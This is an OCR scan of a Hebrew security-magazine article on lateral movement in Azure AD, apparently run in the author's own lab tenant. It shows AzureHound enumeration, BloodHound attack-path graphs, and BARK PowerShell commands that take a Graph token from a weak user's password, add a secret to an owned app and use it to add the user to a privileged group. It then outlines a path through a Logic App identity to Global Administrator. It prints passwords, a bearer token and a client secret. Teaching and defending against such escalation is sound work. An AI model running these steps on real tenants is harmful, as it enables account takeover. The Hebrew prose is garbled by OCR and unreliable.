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.Global Administrator-7 1'NIXWAN NX 070071 Tenant-2 NNVAX NI'YA X171

Refresh Token \ Access Token \ nnannn '019 a'wn? nin 7y Phishing Nopnn nyxaw N

:Weak User X121 wnnwnn .Tenant-2 w'72n ynnun?

Home » Default Directory | App registrations > Super Secure Application | Owners >

® Weak User

User

I,".' Search I X« / Edit properties ]ﬁ' Delete (‘) Refresh Q\ Reset password (5} Revoke sessions @3 Manage view ,u:v Got feedback?

A Overview ) X
Overview Monitoring Properties

B Audit logs
3) Sign-inlogs Basic info
#. Diagnose and solve problems
B Custom security attributes

Weak User

weak_user@royrahamlgmail.onmicrosoft.com
Member

& Assigned roles

=)

& Administrative units

A Groups
User principal name weak_user@royraham1gmail.onmicrosoftcom [ Group memberships 1
BE Applications
Object ID 5d362b86-2cfe-43e2-97de-daa5Sb3bc13da [ N
. Applications 0
w Licenses
Created date time Dec 5, 2024, 4:51 PM
[ Devices Assigned roles 1
User type Member
Azure role assignments . . . .
Identities royraham1gmailonmicrosoft.com Assigned licenses 0
@ Authentication methods
f)‘\ New support request My Feed

.AzureHound DONI9NN 750 NN YN ,NYd

Enter AzureHound
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DA NX',"707 1T D20 IR 9'0INY? T2 |71 Active Directory-n NNNK N1IXA 112 Azure Active Directory
Yol 127 XXl HTTPS 21710092 Azure NX 78wNn 0T 7D .AzureHound X1j7an wTn Collector

Azure-2 N9'PN 2'M1 NIVWDA A'¥N71 wONY7 2211 121 BloodHound-7 [y01 INIXW Output

Enumeration

:NNQN NTIRZON N1V AzureHound NX YN Nd \Weak User wnnwnn NX 122WN ,0INKD

osoft.com" -p "Qupu7929!" list -tenant

:NaN V790 NN I

$ ./azurehound -u "weak_user@royrahamlgmail.onmicrosoft.com"” -p "Qupu7929!"
list —tenant "U6676c00-0522-Ueb3-bb21-f07eUB6UaSeb" —o weak_user.json
AzureHound v0.0.0
Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io

No configuration file located at /home/azureuser/.config/azurehound/config.json
collecting azure objects...
finished listing all devices e
finished listing all device owners
finished listing all apps 3
finished listing all app owners
finished listing all users 6
warning: unable to process azure management groups; either the organization has no management groups
or azurehound does not have the reader role on the root management group.

finished listing all management group role assignments
finished listing all management group descendants
finished listing all subscriptions )

finished listing all automation accounts

finished listing all resource groups

finished listing all vm scale set role assignments
finished listing all virtual machine scale sets

finished listing all key vaults

finished listing all web apps

finished listing all logic app role assignments

finished listing all container registries

finished listing all resource group role assignments
finished listing all function app role assignments
finished listing all managed clusters

finished listing all key vault role assignments

finished listing all subscription role assignments
finished listing all subscription user access admins
finished listing all container registry role assignments
finished listing all logic apps

finished listing all managed cluster role assignments
finished listing all virtual machine role assignments
finished listing all function apps

finished listing all automation account role assignments
finished listing all web app role assignments

finished listing all virtual machines

finished listing all tenants 2

unable to continue processing role assignments for this role

a0blb3U6-Ud3e-Ue8b-98f8-753987bel970
finished listing all groups u
finished listing all service principals
finished listing all app role assignments
finished listing all group owners
finished listing all roles co 113
finished listing all service principal owners
finished listing all role assignments
finished listing members for all groups
collection completed 791.862126ms

shutting down gracefully, press ctrl+c again to force

$

v7nn wnnunn 7w Security Context-n NNN 117w Tenant-N NIX 71007 D'712' 1IX IT NTIPO NIYXAX]

JIPX1A'9117-0' RIXN'? N10171 "Weak User"
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:N171Y9 "My y¥11I BloodHound 757 AzureHound-n 1727w output-n yalj7 DR n7V)

-1 N2 20 Role-n - Global Administrator-7 NIXWAN MN70n7 D'WONR DA'NI 7NN PITAY e

:Azure
BLOOD UND %' EXPLORE GROUP MANAGEMENT o
! COMMUNITY EDITION —
- Q, SEARCH © PATHFINDING </> CYPHER - @ DEVOPS@DEFAULT DIRECTORY 3
° @WEAK USER@ROYRAHAM1GMAIL. ONMICROSOF —  Object Information
(V]
(] OGIOBAI ADMINISTRATOR@DEFAULT DIRECTORY Display Name: Devops
Object ID: 2ECO8DDD-48EF-4FBS-90FD-534D2E983476
Created: 202411-21 1015 GMT+2 (GMT +0200)
Is Role Assignable: FALSE
Last Collected by BloodHound: 2024-11-28 11:21 GMT+2 (GMT +0200)
0On Prem Sync Enabled: FALSE
Security Enabled: TRUE
Security Identifier:
§-1-12-1-784371165-1337280751-1297350032-1983158318
Tenant 1D: 46676C000522-4EB3-8821-FOTE4864ASER
+ Inbound Object Control 7

| Path not found Bl rent Results

D'¥IN 1IXY NO'PNN 2N N7'NNA "7V NUNYNAY wNnNYNn DX 117N N7IN0N NNaonn Jina. =
.Global Administrator7w Role-a 11MN2 N9'Pnin 2'M1 910 NTI7 DX .0"j7 KIN DX PITA7
Path not nyTINN NAIMD NNAITRN NNA0N]) NNIAY DT 2N KIXn? N'7xn X7 BloodHound
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BLOODHOUND %' EXPLORE [ GROUP MANAGEMENT

COMMUNITY EDITION
- Q SEARCH © PATHFINDING </> CYPHER

WEAK_USER@ROYRAHAM1GMAIL. ONMICROSOFT.COM

WEAK_USER@ROYRAHAM1GMAIL.ONMICROSOFT.COM

- @ WEAK_

~ Object Information

1GMAIL A

»

Display Name: Weak User
Object I1D: 50362886-2CFE-4362-97DE-DAASBIBCT30A
Created: 2024-12-05 16:51 GMT+2 (GMT+0200)
Enabled: TRUE
Last Collected by BloodHound: 2024-12:05 17:03 GMT+2 (GMT+0200)

On Prem Sync Enabled:

FALSE

Password Last Set: 2024-12-05 16:53 GMT+2 (GMT+0200)
Tenant ID: 46676C00-0522-4E83-8821-FOTE4864ASEB
User Principal Name: weak_user@royraham1gmail onmicrosoft.com
User Type: Member
AZOwns
SUPER SECURE APPLICATION@ROYRAHAM1GMAIL.ONMICROSOFT.COM
~ Outbound Object Control 1

O SUPER SECURE APPLICATION@ROYRAHAM1GMAIL...

+ Inbound Object Control 9
iul Layout Export Search Current Results b

ANXY? .DNK D'OPMAIR 7V DRYAN W' 7Y WNNWwNY N2IMN2 NNITRN 110N NIKYY N1
(AZOwns) Owner XIn Weak User wnnwnn - 9ol yT'A NIKTY 0'710' 1IX 0T N9D 7y n¥n7w

.Super Secure Application X1j72n Tenant-2 App Registration 7y

:Super Secure Application N'¥j?'79RN 7w DPMAINN NN [N IXIA . TIAXK X7 [TV 2¥NN TR, MP7IK

= SUPER SECURE APPLICATION@ROYRAHAMIGMAIL... =

— Object Information

Display Name: Super Secure Application
Object ID: B66GBEDA-21E9-4E48-B15D-0D0D2D600433
Service Principal 1D:

057BD10F-0779-40DA-8E33-CI2F3FAF92ET

App ID: b666beda-21e9-4e48-b15d-0d0d2d600433
Created: 2024-11-21 10:10 GMT+2 (GMT+0200)
Last Collected by BloodHound: 2024-11-28 11:21 GMT+2 (GMT+0200)

Publisher Domain: royraham1gmail.onmicrosoft.com

Sign In Audience: Azure ADMyOrg
Tenant ID: 46676C00-0522-4EB3-BB21-FO7E4B04A5EB
+ Inbound Object Control 7

Service "-n NIN DT [IN1 AXYAN NI 'V 117 01727 1XYW TR [IN1 D' ,117 D'AXINY DRININ 7D 'an
-1 Super Secure Application n'¥j7"79Xn 7w Service Principal-n nn 117 kN "WX "Principal ID

.Tenant
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o1 WNX71 Secret N7 qroINT 071> 13X ,Azure-1 (App Registration) n'¥j?"79X 7v D'-Owner 1IN TWXD

Security -2 NI71W9 Y¥271 1T n'¥' 79X 11wnw (Enterprise Application) Service Principal-7 1 annn®?

INnT Service Principal 7w Context

N'¥7'798] D'YNNWN 0NN D'-Tenant-w D 117w Tenant-2 App Registration D7 DXW T'ANI 2'NX

1190INY Secret-2 WNNWN7 070" NNAX,(N'¥"79RN NIX X" Y Service Principal-a wim'w 1 2v) 17

ANX Tenant-2 D'R¥N1 7702 DNW NINNY 19X Service Principals 1M nnxkNn? nan 2y nxjp'7ox4

.N22 DA 'T'N JNIX RIN D DT INRN NNFTR Y1971 X7 1K1 72K ,N1yn 07Nna N7 I .na?

-N N2 Azure-7 N2NNNY7 D'™710' 1IN NAPONY 1WaNI Service Principals 7y niowsa nmanw Mnx

Super Secure X171 NIn DAw) Super Secure Application n'¥p'79xn 7w Service Principal

ANITYA NIWY'Y 0210 12X NN 21T, (Application

MICROSOFT GRAPH@DEFAULT DIRECTORY

AZMGDirectory_ReadWrite_All

SUPER SECURE APPLICATION@DEFAULT DIRECTORY

- Q SEARCH & PATHFINDING ¢/> CYPHER

@ (@) SUPER SECURE APPLICATION@DEFAULT DIRECTC

Object ID: 057BD10F-0779-400A 8E33-CI2FIFAF92E7
App Display Name: Super Secure Application
HELLO2@DEFAULT DIRECTORY
App ID: 057BD10F-0779-400A-8E33-CI2FIFAF92ET
Enabled: TRUE
DEVOPS@DEFAULT DI L35t Collected by BloodHound: 2024-12.04 12.28 GMT+2 (GMT+0200)
LM Omme Service Principal Type: Application

AZMGAddMember

AZMGAddOwner

AZMGAddMember

WORLD@DEFAULT DIRECTORY

1 Layout Export  Search Current Results

n —  Object Information

- @ SUPER SECURE APPLICATION@DEFAULT DIRECTORY A

Display Name: SUPER SECURE APPLICATION

AZMGAddMember Tenant ID: 46676C00-0522-4E83-B821-FO7E4864A5E8

AZMGAddOwner

+ Inbound Object Control 6
SUPER SECURE APPLICATION@DEFAULT DIRECTORY
~ Outbound Object Control 4

@ DEVOPS@DEFAULT DIRECTORY
@ HELLO2@DEFAULT DIRECTORY
@ WORLD@DEFAULT DIRECTORY
AZMGAddMember @ HELLO@DEFAULT DIRECTORY

HELLO@DEFAULT DIRECTORY

AZMGAddOwner

~  Outbound Abusable App Role Assignments 1

@ MICROSOFT GRAPH@DEFAULT DIRECTORY
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-1 NIXIPn 2% 07n1) 7"1n nixiapEn 737 Member q'oin'? nkwNn W 17w SPN-7 N0 nnaw 190
117 7R NINAp 7w nroain N DR DY Dmwn 9% qTvnal Dixign 7y 75n0a L(Tenant

I"7R DTPNNY DY NNIRY [IYKIN DIZARN 17D N'R1) Devops nx¥iapn

?1'wOY TV N7 W' NN TX

. BLOODHOUN S EXPLORE  [E GROUP MANAGEMENT o
W COMMUNITY EDITION —
- Q SEARCH © PATHFINDING ¢/> CYPHER - @ WEAK_USER@ROYRAHAM1GMAIL.ONMICROSOFT... A
() @ WEAK_USER@ROYRAHAM1GMAIL.ONMICROSOF —  Object Information
‘ (¥
© (@) DEVOPS@DEFAULT DIRECTORY Display Name: Weak User
Object ID: 5D362B86-2CFE-43E2-97DE-DAASB3BCT3DA
Created: 2024-12-05 16:51 GMT+2 (GMT+0200)
Q WEAK_USER@ROYRAHAM1GMAIL.ONMICROSOFT.COM Enabled: TRUE
Last Collected by BloodHound: 2024-12-05 17:03 GMT+2 (GMT+0200)
AZOwns On Prem Sync Enabled: FALSE
Password Last Set: 2024-12-05 16:53 GMT+2 (GMT+0200)
Tenant ID: 46676C00-0522-4EB3-BB21-FO7E4864A5EB
B} suPER SECURE APPLICATION@ROYRAHAM1GMAIL ONMICROSOFT.COM
User Principal Name: weak_user@royraham1gmail.onmicrosoft.com
User Type: Member
AZRunsAs L
SUPER SECURE APPLICATION@DEFAULT DIRECTORY
AZMGAddMember
AZMGAddOwner
EVOPS@DEFAULT DIRECTORY — Outbound Object Control 1

@ SUPER SECURE APPLICATION@ROYRAHAM1GMAIL....

jul Layout Export Search Current Results Eaiiieud object conirol 2

PNT NN 7% 'R

Weak User 7w nno'onl wnnwnn DW NIYXNX] Graph-7 Access Token a'w1

Super Secure Application X120 App Registration-7 Secret 'onn e

7w (DTN 27winn 17 w'w) Client Secret-ni Object ID-n NIv¥nX2 Graph-7 Access Token A'w1 e
Super Secure Application X171 Service Principal-n

.Devops nxiIan 7w n'-Member-7 Weak User Nk Super Secure Application niyxnxa qron e

Lateral Movement - Azure Edition
www.DigitalWhisper.co.il
8 2025 Nt ,169 it




Technologic

D'7> Nxp TIY

:D"TIN' 070 W2 WNNea 12 DWY7 .QTON '97 1IRXN I'YOYY NI'XAIA'OPZ-0'NN NX 7¥11 1IN

BARK
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(BloodHound Attack Research Kit) BARK

nI7wo 2w winm X'n movni Powershell-a Andy Robbins T'n'nl TnXN T 72y an2w CLI 75 i'n

NnTIpPS vive YW ,UIN'Y? 01Wo T DN N'0NI0IK NNIXa Azure Active Directory-2 nI'ospynn

VX217 n¥w n'71ve 707 Powershell

Glibby

Azure -2 NI'9PNN NI7IWo 7w winm xX@ imaonl Python-a ,@ NN, TR T 20 AN0aw D 1

NIX 7 72TN PRYN M'WY 17998 ,TINNA (121 ?72T ININ YNWl N'0NIVIN NIXa Active Directory

2750 NN 'MAND 7722w NI'Y0 NND WY [TV X ,09WNN

.TaIy Azure Active Directory 7'N 7V 2N1I' 210 TINYY?

.0'2IT2 NO'PN '"W'NIN NLIYS NIXA wnn?

W' ,Resource Manager-n IX Graph-n NIN'W 7w API-0 710 DTV DX QUKD ,JUNND INNNY 19D
.0'-UUID mni¥a (Subscription ID-1 Tenant ID 7wn%7) NITYN 2N DX 7907 NnYMT DMpnn 2N
Developer Tools-n Dy N¥j7 N7 X *7IXI Azure 7w 707191 017 DYD 72 NN'RNA )I¥A DT AT
D'VXINY NITIPO NNd "INXY X'N DT N'van L1978 0'-UUID NX XIxn? nin 7y n9¥ 97912
[P7 .w'mn TINN DT WTN 0" aIR 7w UUID won7? nyo 751 UUID-7 UUID |2 72%7ann? n'7'nnn
UUID-2 X71 DNXY D'OR"AIND 7¢ NiNw2 171 wnnwn? N71D'n NX ,Glibby ,*7¢ *01 'mwnm
.00 2 NIMNNN DR VX7 ART' 12D KINEDN7Y

-om 17 N7 nNTy WX qwnna [y "2TY NIFTINY NIYad son 7on Glibby

BARK-2 NINXN X'7¥ Azure-1 NI'X1IA'O)I?

N'N DO7Y NLVNN DX .DD7YW N9'PNN 1M1 7TIAa1 DO7W NYVNA Y9N ,D0IW NRNN' Poon Y7) 7D
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D'wynY nt

NX y¥anv Glibby-2 wnwnny V9170 AIMDKR DAY 7D NN D'0IW TNK7I BARK-1 y¥ax 17w '

Q7199 NIX

T 2V 19w Nno'onl wnnwnin oW NATva Graph API-7 Weak User wnnwnin 112y Access Token 21w

:Get-MSGraphTokenWithUsernamePassword nTI791 win'y

PS D:\Everything> Get-MSGraphTokenWithUsernamePassword -Username "weak_user@royrahamlgmail.onmicrosoft.com"

-Password "Qupu7929!" -TenantID "46676c00-0522-4eb3-bb21-f07e4864a5eb™
token_type : Bearer
scope : email openid profile https://graph.microsoft.com/Agreement.Read.All https://graph.microsoft.com/Agreement.ReadwWrite.All https:
https://graph.microsoft. com/AgreementAcceptance.Read.Al11 https://graph.microsoft. com/AuditLog.Read.All https://graph.microsoft|
//graph.microsoft.com/Directory.ReadWwrite.Al1l https://graph.microsoft.com/Group.ReadWrite.All https://graph.microsoft. cg|
//agraph.microsoft.com/Policy.ReadWrite. TrustFramework https://graph.microsoft.com/PrivilegedAccess.ReadwWrite.AzureAD
//graph.microsoft.com/PrivilegedAccess.ReadwWrite. AzureADGroup https://graph.microsoft.com/PrivilegedAccess.Readwrite.Azu|
://graph.microsoft. com/TrustFrameworkKeySet.ReadwWrite.Al1l https://graph.microsoft.com/User.Invite.Al1l https://graph.micrg|
expires_in
ext_expires_in :
access_token : eyJ0eXAi01JKV1QiLCIub25 JZSI6I]YxMmxIW]dnc3ZHeEVWCE4WWWZ FVmY3eUo1Uy1wOGVIZG9zbVRLSFVKVTQILCIhbGci01ISUZI1INT IsIngldCI6Inp4ZWcy VO
090cFRrd041R21 TWWN1VGROQZZKMCJ9. eyIhdwQi01 JodHRwczovL 2dyYXBoLmlpY3Jvc29mdCS 32017 LCI pc3Mi0i JodHRwezovL 3NOcyS 3awWSkb3dzLmS 1dC8ON;|
iwiaWFOIjoxNzMzMDQwNzYOLCIuYmYi03jE3MZMwNDA3NJQs ImV4 cCIGMTczMZAONTUWMSwi YWNJ dCI6MCwi YWNyI joiMSIsImFpbyI6IkFUUUFSLZhZQUFBQXINdmF
k1L2tIMHpEQmI tWwM2cmxmU2k1VEJESnkiLCIhbXI 10151 cHdkI10s ImFwcF9kaXNwbGFSbmFtZSI6IkF6dXI1IEFjdG]2ZSBEaX]1Y3RvenkgUGI3ZXITaGVsbCIs
JMIIOYTd10DKOI iwi YXBwaWRhY3I107 IwIiwiaWR0eXAi01J1c2VyIiwiaXBhZGRyIjoiNjIuOTAuMTkwL j cwIiwibmFtZSI6I1d1YWsgVXNTciIsIm9pZCI6IT1iN
InBsYXRmIjoiMyIsInB1lawQiOiIxMDAZMJAWNDAL1QOYyRIKkSIiwicmgiOi IxLkFVCOFBR3huUm1IRnMwNjdIZkItU0OdTbDZ 3TUFBQUFBQUFBQXdBQUFBQUFBQUFCTE|
WdyZWVEZWS 0L 13 1YWRXcm10Z S5 BbGwgQWdyZWVZWS O0QWNIZXBOYWS 3ZS5 SZWFkIEFncmV1bWVudEF 3 Y2VwdGFuY2UuUmVhZCS BbGwgQXVkaXRMb2 culUmVhZC5 BbGn
I5L1ITYWRXcm10ZS5BbGwgZW1lhawwgR3JvdXAuUmVhZFdyaXR1LkFsbCBIZGVudG10eVByb3ZpZGVyL111YWRXcm10ZS58bGwgb3B1bm1kIFBvbG]jeS5SZWFkV3p)
SZWFkV3JpdGUuQXplcmVBRCBQcm12aWx1Z2VKQWNIZXNzL 131 YWRXcm10Z S5 BenVyZUFER3JvdXAgUHI pdm 1sZWd1ZEFjY2VzcyS SZWFkV3J pdGUuQXplcmVSZXNvd|
ZWFkV3JpdGUuQWxs IFVZZXIuSWS 2aXR1LkFsbCIsInN1Y1I613jBILXdFNESZZOt YNVVCOEK3RXISb19aTms Ubkd2amVZZ jZ5M1) 6WUF4UGs 1 LCIOZWS hbnRfcmVnah
TRTYjMtYmIyMS1nMDdTNDg2NGE1ZWI1LCI1bm1 xdWVfbmFtZSI6Ind1YWtfdXN1ckByb31yYWhhbTFnbWFpbCSvbmlpY3Jvc29mdCS jb201LCI1cG4101I3ZWFrX3y|
widXRpIjoiwk4zNVZWN30zVVCcXLXNpYOhUOEIBQSISInZ1ciI6IJEUMCISIndpZHMi0151Y)cSZmImNGQEM2VmOSOON] g5 LTgXNDMENZZ iMTKOZTgINTASI10sInht|
aTG1qYnIwSGVNeHNOX1IMODZmdDVHNW14aFRBZVIIRnpMS0Z 1dUptQSI9ILCI4bXNFdGNkdCIGMTY3MDMZOTk4M30. bpG6YD2W2zX5 YOH71I8IN-CccRpfPhbbFAZIq_|
Lx2d5X6FThkaStRt2kMglukK-8-1wjXs8LKpko2L _U0OcUVpLaU1Up2ZTjcjjd3kgpVwuXNDKnDbzPgAndhdSO60UkYd_LqvaK43j7Z1S1IHUQuOtRd29IwbfWZDQNIX
2eh33QKa_WBIsG)zW1Y0z3TsgOPaXC30LYdvZWa5ud4Nf5C1BgYIo1Z0wiLqEGKDNRO3YI7uVC4Z1Z1hmvFGgg

PS D:\Everything>

NTIZONY NIXYT NI TR N DN'Y7Y 12007 IX 'R DNYRNA 0NN 1T QTIPS YW DNunion D

1727w Access Token-n NI NTAY

:Super Secure Application X720 App Registration-7 Secret q'on ny>

PS D:\Everything> $token = "eyJl0eXAi101JKV1QiLCIub253ZSI6I]YxMmx 3ZHeEVWCE4wWWWZ FVmY 3eUo1Uy1wOGVIZG9zbVRLSFVKVTQiLCIhbGciC
PS D:\Everything> New-EntraAppSecret -AppRegObjectID "d23cd958-9130-48eb-97b6-5a424e5c8325" -Token $Stoken

Name

AppRegObjectId d23cd958-9130-48eb-97b6-5a424e5c8325
AppRegSecretValue tnM8Q~21r TSVWYHyxSvuEAeNexnsUFGPRukhpclLC
AppRegAppId b666beda-21e9-4e48-b15d-0d0d2d600433

PS D:\Everything>
.NN7¥N2 qoINN Secret-NY NIXA7 N1

AIN2 Access Token 2'win'? nan 7y Get-MSGraphTokenWithClientCredentials nTI792 wnnwa nyd

:Super Secure Application X1j7aw Service Principal-n

PS D:\Everything> Get-MSGraphTokenWithClientCredentials -ClientID “"b666beda-21e9-4e48-b15d-0d0d2d600433" -ClientSecret "tnM8Q~211

token_type expires_in ext_expires_in access_token

Bearer 3599 eyJ0eXAi01IKV1QiLCIub253ZSI6IFhTUFIYY3NoUHZMNDNL aVIxM2xsMW8OMGpPZDQS eHc3VnZVdmt YNnolbVEi LCI|

PS D:\Everything>

.Devops nxInpn 7w n'-Member-7 Weak User NX §'0In7 71 117 AXw1 71 I'wdy ,n71yn
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Weak 7w Access Token-n NX N7 79011 Add-MemberToEntraGroup NTIPON NIYXAKRL DT DX NWY)

:(Super Secure Application 7w X71) User

PS D:\Everything> Add-MemberToEntraGroup -PrincipalID "5d362b86-2cfe-43e2-97de-daaSb3bcl3da"
-TargetGroupId "6c771lec5-176a-4157-bbb6-f4ffb7fc7dd6"” -Token $token

PS D:\Everything>

NnMwn X721 0'0p"aIR 7w D'-UUID DN DMWY IX TNXR 10N19 NIN97 TIPS 702w 17 m'y :nvn

ANX UUID woN'2 Nd%77 oY9 75 |axyn nTw 790 |'K .0N7Y

27w :BARK DV nyxnw Ni7Ive NI DX Y¥27 nin v Glibby "722 wnnwnw 'manow 0910 |70
Weak wnnwnn oy nnxNn? nn 7y (18 niw) UserAuthHandler X171 Class-2 wnnwa [IUXRIN
Graph API-7 Access Token 72j1 (19) get_access_token n'X¥j71191 N'9'¥90 wWNNwa .Azure-7 User

:Weak User wnnwnn 11y

tenant_1id,

Access -2 win'w T 7y Weak User 112y GraphOperations X110 Class 7@ Instance 117¥' [pn X7

.(22) oTipn 27winn Token

N'¥721I90 NNTY2 N'VNIVIX NNIX2 Super Secure Application 7w Application ID-n NX A'wl NVD
NIY¥NXA Super Secure Applicationn'¥?'79x87 wTN Secret 9'onl pn WNX71 (25) id_from_name

:(30) create_secret n'¥j2219n
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Graph API-7 Access Token a'win? nam v (37) SPNAuthHandler xqjpan Class-2 wnnwa Nt 27wa

:(38) Super Secure Application X171 Service Principal-n 112y

wnnwa 91017 .Super Secure Application 11aY GraphOperations 7w 0p"aIX DX DN NX?

[>n WNKX7 .(44) N'VNIVIX NNIXA Devops NXIAPN 7w ID-n NX 72777 nan 7y id_from_name n'¥j72192

:(47) add_member n'¥j72190 NIYXNANA IT NXIA7 7 D'-Member-7 Weak User wnnwnn Nx 'on

:AIN9X DX DRA7WN 70w 707192 XTHYT N2

7y Re:vops | Members

© Overview
X Diagnose and solve problems
Vv Manage

i Properties

&2 Members

&2 Owners

&, Roles and administrators

|- Add members [% Bulk operations

Direct members All members

1 group member found

U Name 1

Type

") Refresh

Email

Manage view

User type

t feedback?

)
)

7 Add filter

Object Id

%

Device Id

3 Administrative units

Group memberships

Member

5d362b86-2cfe-43e2-97de-daa5b3bc13da

B! Applications
@ Licenses
Azure role assignments

> Activity

Troubleshooting + Support

D17wN 7DW IR Nt .Devops nXInPn 7w Members-2 X¥n1 Weak User wnnwnn [DRY NIKYYT N1

.N21D1N T2 NNAXIINT'7¥N

12
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Phase 2

-2 van%? X' 7w nnounn X ,Devops NXIAPA DMAN 'WOY DIAN 1INIX 2117 ATV pIrTa AT 7D 'R

.Global Administrator

XY TNX NYOw Nl Weak User wnnwnn INIXA AzureHound 720 NX DY9 21W Yin7 noMn
N7 Tenant-n 7y yTn TV 72p% 9211 DanN N AR N7 107 v ,Devops NXIApa 0NAan

12 D'RXNIN D'OR"AIRNI

NMNTIPZN DY9] N NTIPON NNIXRY YNnwvl

$ ./azurehound -u "weak_user@royrahamlgmail.onmicrosoft.com” -p "Qupu7929!" list ——tenan
AzureHound v©.0.0
Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io

No configuration file located at /home/azureuser/.config/azurehound/config.json
collecting azure objects...
finished listing all devices ]
finished listing all device owners
finished listing all apps 3
finished listing all subscriptions
finished listing all users 6
finished listing all groups 4
finished listing all app owners
unable to continue processing role assignments for this role

adblb3U6-Ud3e-Ue8b-98f8-753987bell970
finished listing all resource groups
finished listing members for all groups
finished listing all group owners
finished listing all subscription role assignments
finished listing all subscription user access admins
finished listing all tenants 2
finished listing all key vaults
finished listing all key vault role assignments
finished listing all roles 113
finished listing all virtual machine scale sets
finished listing all vm scale set role assignments
finished listing all virtual machine role assignments
finished listing all virtual machines
finished listing all container registries
finished listing all container registry role assignments
finished listing all managed clusters
finished listing all managed cluster role assignments
finished listing all resource group role assignments
finished listing all role assignments
finished listing all service principals 96
finished listing all app role assignments
finished listing all service principal owners
finished listing all management groups 1
finished listing all function apps
finished listing all automation accounts
finished listing all management group role assignments
finished listing all logic apps
finished listing all management group descendants
finished listing all automation account role assignments
finished listing all web apps
finished listing all web app role assignments
finished listing all logic app role assignments
finished listing all function app role assignments
collection completed 1.167148134Us

shutting down gracefully, press ctrl+c again to force

$

197 12D ,NIYRIN N¥INNN NIYVTIN? NIX DN 17 0'9TN "2nY NIYTINN 7V ANpn 75N01 DX
yT™m Ty 9OINN '3 11N2 NIKYT7 0*710' 1K BloodHound-7 wTnin Output-n yalj? NX DVIV 1INIRY

N1V NYPPTIR V7NN - D 197 N XY
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U 72000 '97) DYDY AN NIWKRIN N71V9N DR VX1l 721D BloodHound-7 Output-n NX [V01

:Global Administrator-? NIXwN NN7007 D WOX DA NPT - (N7vnY

=, BLOODHOU %' EXPLORE  [E) GROUP MANAGEMENT o
4, COMMUNITY EDITION ——
- Q SEARCH & PATHFINDING <[> CYPHER — (@) WEAK_USER@ROYRAHAMIGMAIL.ONMICROSOFT... A
® (@ WEAK_USER@ROYRAHAMIGMAIL ONMICROSOF —  Object Information
' [ v]
© (@ GLOBAL ADMINISTRATOR@DEFAULT DIRECTORY Display Name: Weak User
Object ID: 98509D73-8462-402F-8675-85137CA4CA%A
Created: 2024-11-21 10:09 GMT+2 (GMT+0200)
GLOBAL ADMINISTRATOR@DEFAULT DIRECTORY
Enabled: TRUE
AZMGGrantRole
Last Collected by BloodHound: 2024-12:01 11:06 GMT+2 (GMT+0200)
O BACKUP-LOGICAPP@DEFAULT DIRECTORY
On Prem Sync Enabled: FALSE
AZManagedidentity
Password Last Set: 2024-11-24 13:49 GMT+2 (GMT+0200)
@m"“”“‘c‘” Tenant ID: 46676C00-0522-4EB3-8821-FOTEAB64ASER
AZContains User Principal Name: weak_user@royraham1gmail.onmicrosoft.com
User Type: Member
@ DEVOPSRG
AZContains + Member of 1

AZUserAccessAdministrator

@ DEVOPS@DEFAULT DIRECTORY

AZO:
by + Outbound Object Control 2

AZMemberOf

WEAK_USER@ROYRAHAM1GMAIL ONMICROSOFT.COM Inbound Object Control
Layout Export Search Current Results @ SRS SMAIL ONMICROSOFT CO W d O

:NNIX 1201 INIA !Global Administrator-7 0T W' 1770

.Devops n¥Iaj72 12N Weak User wnnwunin e

test- X170 Subscription 7y User Access Administrator X1j730 Role Nn7ya X'n Devops nXpn e
.subscription

.devops-rg X720 Resource Group D"'? test-subscription 1N o

.backup-logicapp X1j7an Logic App 0"'j7 devops-rg]iMa e

.backup-logicapp X730 Managed Identity Dy Y1 backup-logicapp X1j7an Logic App-n o

wnnwn 757 Global Administrator 7w Role-n NX 72vn'? NIXWAN W' 7"10 Managed Identity-7 o

210 DI Y ATN AINT el KLY "PRTRN DT0RTAIRND 7D DT NN DDNXY? DNIX Ya) DX DX
DA7WUN NN |21 N7DW )0 0NN CTRXK 72 7V T npimy X7 NIXal UXK? 1'A0X IR, IARTN 7R "D7107

.N2N Section-7 2777 'woIN IWaN ,Azure-n NIN71V2 D'P'NIENI 12D DNXK DX .70

D'YNNYN 7¢ nwnan DR 7M7 wnnwn'? ©worn User Access Administrator X1j7aw Role-n ,n'7'Nn

aXwnn 72V n'wnnwn? n'-Role @1vn'? an'n J1ai ,Subscription / Resource Group / Resource-7

7In (IT NX¥1p2a 0DaNY Security Principals-n 727 Wni73) Devops X7 ,117w njpna roalan
UNNUNNY R'N DT 700 17 N'017w naponn .test-subscription X1j7aw Subscription-n 7y N7 Role

.test-subscription 7y Owner 7w Role mxy?7 71ayn7 71>* Weak User
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- DY 19NN 1YY v TN NIRWANN ,TAY Azure RM-Q NIRWONN [1210W 'RNAT DN DRXIND

.test-subscription NNN D'X¥NIW D'-Resource-ni D'-Resource Group

D"j? devops-rg N2 .devops-rg X1j72n Resource Group D"j? ,N7XN DO'-Resource Group-n ‘7D |2
Weak -w X'n 07 7w ARNINND L(...nYN9N NT'X) Logic App a1on backup-logicapp X730 Resource

.backup-logicapp 7w Da Owner nI'n'? 1910 User

,Logic App-n NX JNYY? 713" XIn backup-logicapp 7v Owner Xin Weak User-w niun ,|on WNXY?
Managed Identity-2 wnnwn N1 Logic App-w n2'onn 2117 2TV N7 NN7 .ANIX YN71 nNIK w7
D207 0'712'Y 010 WNN DNNN NND W' X ,Managed Identity 7y DA N9 1'a0KX X7 !y KIn WWKRD
TIND NN XYIIN 7Y DYT701 wnn DM DN D DNIX DA KNP'7 TIRA Y7910 219 0T X 7V 009

.Managed Identities 7& NTN 'Z02INTO 1'90 7W KIN [IWRIN INXNAN 7W KIN [IUKIN IAXAN .NNIAA

Andy 7¥ XIn WD MMXNN 7W KIN WD RN Azure 7V N7¢ DMNXN QNT INYAN ONKX 77D |DIXA

Logic Apps, Function -2 NI'¥1IA'92I-0' 71X 7w Cwpn2 V1921 Managed Identities '7v Robbins
2D 7w wn N0 DR Q10 TIRA 10N 19W NN L,0'7ON LTIVIE Apps, Automation Accounts

AR VA 'Oy

Workflow-n nX 7Ny1 DX ?...1 11 ,Managed Identity-2 wnnwn Xin .backup-logicapp-7 NtN1 ™)
Managed -n 7w Access Token-n NX 21227 701 X ,1n7wn 21Tt Workflow-7 Logic App-2 m'oa7n

I(backup-logicapp |2 DA X1j730) Y1 Logic App-n IN'RY Identity

APl W' backup-logicapp X720 Managed Identity-7 . TIXn n¥j? Global Administrator-7 10T ,0wn
227 w7 210 XiIin Pn nR¥INdI RoleManagement.ReadWrite.Directory X171 ©"WX Permission
APl N7 nn 10N1 IV Va0 vad v .Global Administrator 7w Role-n NX 12X wnnwn

.Permission

